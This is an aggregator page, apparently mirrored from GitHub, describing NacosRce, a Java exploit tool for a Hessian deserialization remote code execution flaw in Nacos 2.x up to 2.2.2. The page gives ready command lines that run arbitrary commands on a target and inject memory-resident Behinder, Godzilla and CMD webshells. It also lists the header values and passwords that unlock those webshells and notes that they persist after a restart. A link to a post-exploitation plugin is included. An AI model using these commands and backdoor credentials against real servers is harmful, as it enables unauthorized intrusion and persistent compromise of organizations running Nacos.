c0olw/NacosRce
Fork: 85 Star: 728 (更新于 2024-10-23 23:09:55)
license: 暂无
Language: Java .
Nacos JRaft Hessian 反序列化 RCE 加载字节码 注入内存马 不出网利用
最后发布版本: v0.5 ( 2023-07-06 10:53:11)
Nacos Hessian 反序列化漏洞利用工具 v0.5
_ _ ____
| \ | | __ _ ___ ___ ___| _ \ ___ ___
| \| |/ _` |/ __/ _ \/ __| |_) / __/ _ \
| |\ | (_| | (_| (_) \__ \ _ < (_| __/
|_| \_|\__,_|\___\___/|___/_| \_\___\___|
Author: 刨洞安全 && 凉风
注意:工具仅供学习使用,请勿滥用,否则后果自负!
**食用方式 **
-
自动注入内存马并执行命令 java -jar NacosRce.jar Url Jraft端口 "Command"
java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 "whoami"
-
只注入内存马
java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 memshell
内存马说明:
一、冰蝎内存马:
1、需要设置请求头x-client-data:rebeyond
2、设置Referer:https://www.google.com/
3、路径随意
4、密码rebeyond
二、哥斯拉内存马:
1、需要设置请求头x-client-data:godzilla
2、设置Referer:https://www.google.com/
3、路径随意
4、密码是pass 和 key
三、CMD内存马:
1、需要设置请求头x-client-data:cmd
2、设置Referer:https://www.google.com/
3、请求头cmd:要执行的命令
v0.5版本实现了:
1、不出网漏洞利用
2、可多次发起漏洞利用
3、同时注入冰蝎/哥斯拉/CMD内存马
4、内存马对nacos多版本进行了兼容
tips:
1、请用jdk1.8
2、适用于 Nacos 2.x <= 2.2.2
3、非集群的也能打哦
4、此内存马重启nacos依然存活
关于Windows
如用下面的方式执行,注入内存马时会生成临时文件 C:\Windows\Temp\nacos_data_temp 和 C:\Windows\Temp\nacos_data_temp.class 文件
java -jar NacosRce.jar http://192.168.90.1:8848 7848 "whoami" windows
如果没有在最后加 windows,临时文件会在 /tmp/nacos_data_temp /tmp/nacos_data_temp.class,所以权限足够的话,不指定windows也能打成功
windows 没打成功也许是因为没权限操作C盘或其他原因
关于编译
遇到依赖冲突无法编译的可以用以下方式
项目地址: https://github.com/c0olw/NacosRce
推荐哥斯拉Nacos后渗透插件:
https://github.com/pap1rman/postnacos
参考文章
https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
https://exp.ci/2023/06/14/Nacos-JRaft-Hessian-反序列化分析/
https://github.com/Y4er/ysoserial
最近版本更新:(数据更新于 2024-11-05 12:46:16)
2023-07-06 10:53:11 v0.5
2023-06-29 23:17:43 v0.4
2023-06-29 17:25:12 v0.3
c0olw/NacosRce同语言 Java最近更新仓库
2024-11-05 19:32:42 xiaojieonly/Ehviewer_CN_SXJ
2024-11-05 04:13:47 Stirling-Tools/Stirling-PDF
2024-11-04 02:03:13 exzhawk/EhViewer
2024-11-03 00:43:09 PBH-BTN/PeerBanHelper
2024-10-31 18:52:00 CodePhiliaX/Chat2DB
2024-10-31 11:19:43 mybatis-flex/mybatis-flex